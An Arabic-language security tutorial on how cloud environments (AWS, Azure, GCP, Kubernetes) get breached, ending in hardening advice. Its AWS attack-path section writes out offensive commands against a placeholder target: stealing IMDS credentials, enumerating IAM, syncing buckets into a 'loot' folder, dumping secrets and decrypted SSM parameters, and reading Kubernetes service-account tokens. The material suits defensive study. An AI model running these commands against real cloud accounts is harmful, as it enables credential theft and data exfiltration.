Cloud Attacks — AWS / Azure / GCP بتقع إزاي
الجبهة السحابية — IAM و S3 و IMDS و Containers
ليه السحابة هدف رقم واحد دلوقتي؟
نموذج المسؤولية المشتركة
الـ Cloud Provider مسؤول عن أمن السحابة — الأجهزة، الـ hypervisor، الداتا سنتر.
إنت مسؤول عن الأمن جوه السحابة — الـ IAM، التكوين، الداتا، الشبكة.
لما حد يقولك "AWS اتخرقت"، اسأله سؤال واحد: "اتخرق إيه بالظبط؟" في 99٪ من الحالات، AWS ما اتخرقتش. عميل من عملاءها سايب bucket public.
اوعى تعمل الغلطات دي
- يعمل IAM user ويديه AdministratorAccess "علشان أجرّب بسرعة". ينسى يشيلها.
- يحط access keys في الـ git repo. يعمل push. ينسى. بعد 4 شهور يلاقي bill بـ 50 ألف دولار.
- يفعّل CloudTrail بس في region واحدة. باقي الـ regions blind.
- يفتكر إن "S3 bucket private" يعني "آمن"، وينسى الـ presigned URLs والـ bucket policies المتعارضة.
- يستخدم نفس الـ IAM role للـ dev والـ prod. أول compromise، الـ blast radius كله الإنتاج.
AWS Attack Path — مسار هجوم نموذجي
aws s3 ls s3://target-backups --no-sign-request
amass enum -d target.gov -src
crt.sh → *.elb.amazonaws.com baring target namegitleaks detect --source=. --report-format=json
trufflehog github --org=target --only-verified
aws sts get-caller-identity --profile leakedGET http://169.254.169.254/latest/meta-data/iam/security-credentials/
{"AccessKeyId":"ASIA...","SecretAccessKey":"abc...","Token":"FQoG..."}aws sts get-caller-identity
aws iam list-user-policies --user-name $U
aws iam simulate-principal-policy --policy-source-arn ... --action-names "*"
pacu
cloudfox aws inventory --profile pwned
enumerate-iam --access-key ... --secret-key ...- iam:CreateAccessKey على يوزر تاني.
- iam:AttachUserPolicy → ربط AdministratorAccess.
- iam:PassRole + ec2:RunInstances = شغل EC2 بدور أعلى.
- lambda:UpdateFunctionCode على Lambda معاها دور أعلى.
- sts:AssumeRole مع trust policy بايظ.
aws s3 sync s3://target-backups ./loot/
aws rds describe-db-snapshots
aws secretsmanager list-secrets
aws ssm get-parameters-by-path --path /prod --with-decryptionالغلطات الأكثر شيوعاً في AWS
Azure / GCP باختصار
Azure
- هجمات على Entra ID (Azure AD) — device code phishing, illicit consent.
- الأدوات: ROADtools, AADInternals, MicroBurst.
- Managed Identity = نسخة الـ IMDS في Azure (169.254.169.254).
GCP
- الـ Service Accounts = أكبر بقعة مكشوفة.
- iam.serviceAccountTokenCreator + actAs = privesc.
- الأدوات: GCPBucketBrute, gcloud-pwn, hayat.
Kubernetes — السحابة جوه السحابة
- kubelet مفتوح بدون authn؟ كارثة كاملة.
- RBAC فيه cluster-admin لكل ServiceAccount.
- صور حاويات فيها ثغرات (استخدم trivy عشان تفحصها).
- pod بـ privileged: true = خروج للـ node نفسها.
cat /var/run/secrets/kubernetes.io/serviceaccount/token
kubectl auth can-i --list
peiratesالحماية السحابي — Cloud Hardening
- CSPM (Prisma Cloud, Wiz, AWS Security Hub) عشان يكشف سوء التكوين أوتوماتيك.
- CIEM لتحليل صلاحيات IAM الزيادة.
- SCPs لمنع الأفعال الخطرة على مستوى المؤسسة.
- CloudTrail + GuardDuty + Detective.
- طبّق AWS Foundational Security Best Practices + CIS AWS Benchmark.
- IMDSv2 إجبارياً + اقفل الـ public IP افتراضياً.
- شفّر كل EBS وS3 وRDS بـ KMS + فعّل MFA Delete.
- Just-In-Time access عن طريق AWS SSO / PIM.
الخلاصة الناشفة
السحابة مش بتتخرق بـ zero-day.
بتتخرق بـ access key مسرّب على GitHub، و bucket public، و IAM policy فيها wildcard اتكتب في 2020 ومحدش فاكرها.
المستجد بيدوّر على CVE في AWS. مفيش CVE يا نجم.
المحترف بيدوّر على configuration drift، وسطر Action: "*" اتسحب من Stack Overflow وانحط في prod.
اكتبها على ظهر إيدك واسأل نفسك كل صبح:
"لو الـ access key ده اتسرّب دلوقتي، البلاست راديوس قده إيه؟"
لو الإجابة "كل الـ tenant"، يبقى المعمار غلط. مش الموضوع EDR ومراقبة. الموضوع least privilege من الأول.